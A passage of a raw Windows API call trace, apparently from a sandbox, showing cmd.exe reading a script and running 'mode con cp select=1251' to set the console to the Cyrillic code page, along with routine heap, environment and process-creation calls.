lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0033.285] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.285] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.285] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0033.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.286] GetFileType (hFile=0xe8) returned 0x3 [0033.286] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.286] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.286] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.286] GetFileType (hFile=0xf4) returned 0x3 [0033.286] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0033.286] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x14f478, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f478*=0x18, lpOverlapped=0x0) returned 1 [0033.286] GetProcessHeap () returned 0x2a0000 [0033.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x4012) returned 0x2bcd20 [0033.286] GetProcessHeap () returned 0x2a0000 [0033.286] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd20 | out: hHeap=0x2a0000) returned 1 [0033.286] _wcsicmp (_String1="mode", _String2=")") returned 68 [0033.286] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0033.286] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0033.286] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0033.286] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0033.286] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0033.286] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0033.286] GetProcessHeap () returned 0x2a0000 [0033.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xb0) returned 0x2b97e0 [0033.286] GetProcessHeap () returned 0x2a0000 [0033.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1a) returned 0x2b4610 [0033.287] GetProcessHeap () returned 0x2a0000 [0033.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x38) returned 0x2b6510 [0033.287] GetConsoleOutputCP () returned 0x1b5 [0033.287] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4cbfe0 | out: lpCPInfo=0x4a4cbfe0) returned 1 [0033.287] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0033.287] GetConsoleTitleW (in: lpConsoleTitle=0x14f430, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.287] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0033.288] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0033.288] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0033.288] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0033.288] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0033.288] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0033.288] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0033.288] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0033.288] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0033.288] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0033.288] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0033.288] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0033.288] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0033.288] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0033.288] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0033.288] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0033.288] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0033.288] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0033.288] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0033.288] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0033.288] _wcsicmp (_String1="mode", _String2="START") returned -6 [0033.288] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0033.288] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0033.288] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0033.288] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0033.288] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0033.288] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0033.288] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0033.288] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0033.288] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0033.288] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0033.288] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0033.288] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0033.288] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0033.288] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0033.288] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0033.288] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0033.288] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0033.289] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0033.289] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0033.289] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0033.289] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0033.289] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0033.289] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0033.289] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0033.289] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0033.289] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0033.289] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0033.289] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0033.289] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0033.289] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0033.289] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0033.289] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0033.289] _wcsicmp (_String1="mode", _String2="START") returned -6 [0033.289] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0033.289] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0033.289] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0033.289] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0033.289] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0033.289] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0033.289] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0033.289] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0033.289] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0033.289] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0033.289] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0033.289] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0033.289] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0033.289] GetProcessHeap () returned 0x2a0000 [0033.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x218) returned 0x2a1ab0 [0033.289] GetProcessHeap () returned 0x2a0000 [0033.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x42) returned 0x2b98a0 [0033.289] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0033.289] GetProcessHeap () returned 0x2a0000 [0033.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x420) returned 0x2b9a80 [0033.289] SetErrorMode (uMode=0x0) returned 0x0 [0033.289] SetErrorMode (uMode=0x1) returned 0x0 [0033.289] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2b9a90, lpFilePart=0x14ecc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14ecc0*="Desktop") returned 0x25 [0033.290] SetErrorMode (uMode=0x0) returned 0x1 [0033.290] GetProcessHeap () returned 0x2a0000 [0033.290] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b9a80, Size=0x66) returned 0x2b9a80 [0033.290] GetProcessHeap () returned 0x2a0000 [0033.290] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b9a80) returned 0x66 [0033.290] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0033.290] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0033.290] GetProcessHeap () returned 0x2a0000 [0033.290] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x128) returned 0x2a1cd0 [0033.290] GetProcessHeap () returned 0x2a0000 [0033.290] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x240) returned 0x2b9b00 [0033.294] GetProcessHeap () returned 0x2a0000 [0033.294] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b9b00, Size=0x12a) returned 0x2b9b00 [0033.294] GetProcessHeap () returned 0x2a0000 [0033.294] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b9b00) returned 0x12a [0033.294] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0033.294] GetProcessHeap () returned 0x2a0000 [0033.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xe8) returned 0x2b5b70 [0033.294] GetProcessHeap () returned 0x2a0000 [0033.294] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b5b70, Size=0x7e) returned 0x2b5b70 [0033.294] GetProcessHeap () returned 0x2a0000 [0033.294] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5b70) returned 0x7e [0033.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.295] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0xffffffffffffffff [0033.295] GetLastError () returned 0x2 [0033.295] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0xffffffffffffffff [0033.295] GetLastError () returned 0x2 [0033.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.295] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0x2b5c00 [0033.295] GetProcessHeap () returned 0x2a0000 [0033.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2b4640 [0033.295] FindClose (in: hFindFile=0x2b5c00 | out: hFindFile=0x2b5c00) returned 1 [0033.295] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0x2b5c00 [0033.295] GetProcessHeap () returned 0x2a0000 [0033.295] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4640, Size=0x8) returned 0x2b98f0 [0033.295] FindClose (in: hFindFile=0x2b5c00 | out: hFindFile=0x2b5c00) returned 1 [0033.295] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0033.296] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0033.296] GetConsoleTitleW (in: lpConsoleTitle=0x14ef80, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.296] GetProcessHeap () returned 0x2a0000 [0033.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x21c) returned 0x2b9c40 [0033.296] GetConsoleTitleW (in: lpConsoleTitle=0x2b9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.296] GetProcessHeap () returned 0x2a0000 [0033.296] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b9c40, Size=0xa8) returned 0x2b9c40 [0033.296] GetProcessHeap () returned 0x2a0000 [0033.296] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b9c40) returned 0xa8 [0033.296] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0033.296] GetProcessHeap () returned 0x2a0000 [0033.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9c40 | out: hHeap=0x2a0000) returned 1 [0033.296] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ed38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ecf8 | out: lpAttributeList=0x14ed38, lpSize=0x14ecf8) returned 1 [0033.296] UpdateProcThreadAttribute (in: lpAttributeList=0x14ed38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ece8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ed38, lpPreviousValue=0x0) returned 1 [0033.296] GetStartupInfoW (in: lpStartupInfo=0x14ee50 | out: lpStartupInfo=0x14ee50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0033.296] GetProcessHeap () returned 0x2a0000 [0033.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x20) returned 0x2b4640 [0033.296] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0033.296] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0033.296] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0033.296] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0033.297] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0033.297] GetProcessHeap () returned 0x2a0000 [0033.297] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4640 | out: hHeap=0x2a0000) returned 1 [0033.297] GetProcessHeap () returned 0x2a0000 [0033.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x12) returned 0x2b8900 [0033.297] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ed70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ed20 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x14ed20*(hProcess=0x54, hThread=0x50, dwProcessId=0xad8, dwThreadId=0xbf4)) returned 1 [0033.302] CloseHandle (hObject=0x50) returned 1 [0033.302] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0033.302] GetProcessHeap () returned 0x2a0000 [0033.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc230 | out: hHeap=0x2a0000) returned 1 [0033.302] GetEnvironmentStringsW () returned 0x2baa10* [0033.302] GetProcessHeap () returned 0x2a0000 [0033.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xae8) returned 0x2bb500 [0033.302] FreeEnvironmentStringsW (penv=0x2baa10) returned 1 [0033.302] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f60000 [0033.302] GetProcAddress (hModule=0x76f60000, lpProcName="NtQueryInformationProcess") returned 0x76fb14a0 [0033.303] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e628, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e628, ReturnLength=0x0) returned 0x0 [0033.303] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e660, nSize=0x380, lpNumberOfBytesRead=0x14e620 | out: lpBuffer=0x14e660*, lpNumberOfBytesRead=0x14e620*=0x380) returned 1 [0033.303] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0033.753] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ec68 | out: lpExitCode=0x14ec68*=0x0) returned 1 [0033.753] CloseHandle (hObject=0x54) returned 1 [0033.753] _vsnwprintf (in: _Buffer=0x14eed8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ec78 | out: _Buffer="00000000") returned 8 [0033.753] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0033.753] GetProcessHeap () returned 0x2a0000 [0033.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bb500 | out: hHeap=0x2a0000) returned 1 [0033.753] GetEnvironmentStringsW () returned 0x2baa10* [0033.753] GetProcessHeap () returned 0x2a0000 [0033.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xb0e) returned 0x2beb10 [0033.753] FreeEnvironmentStringsW (penv=0x2baa10) returned 1 [0033.753] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0033.753] GetProcessHeap () returned 0x2a0000 [0033.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb10 | out: hHeap=0x2a0000) returned 1 [0033.753] GetEnvironmentStringsW () returned 0x2baa10* [0033.753] GetProcessHeap () returned 0x2a0000 [0033.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xb0e) returned 0x2beb10 [0033.753] FreeEnvironmentStringsW (penv=0x2baa10) returned 1 [0033.753] GetProcessHeap () returned 0x2a0000 [0033.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b8900 | out: hHeap=0x2a0000) returned 1 [0033.753] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ed38 | out: lpAttributeList=0x14ed38) [0033.754] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0033.754] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.754] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0033.754] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.754] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a4be194 | out: lpMode=0x4a4be194) returned 0 [0033.754] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.754] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a4be198 | out: lpMode=0x4a4be198) returned 0 [0033.754] GetConsoleOutputCP () returned 0x4e3 [0033.755] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a4cbfe0 | out: lpCPInfo=0x4a4cbfe0) returned 1 [0033.755] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b70 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9b00 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a1cd0 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9a80 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b98a0 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a1ab0 | out: hHeap=0x2a0000) returned 1 [0033.755] GetProcessHeap () returned 0x2a0000 [0033.755] 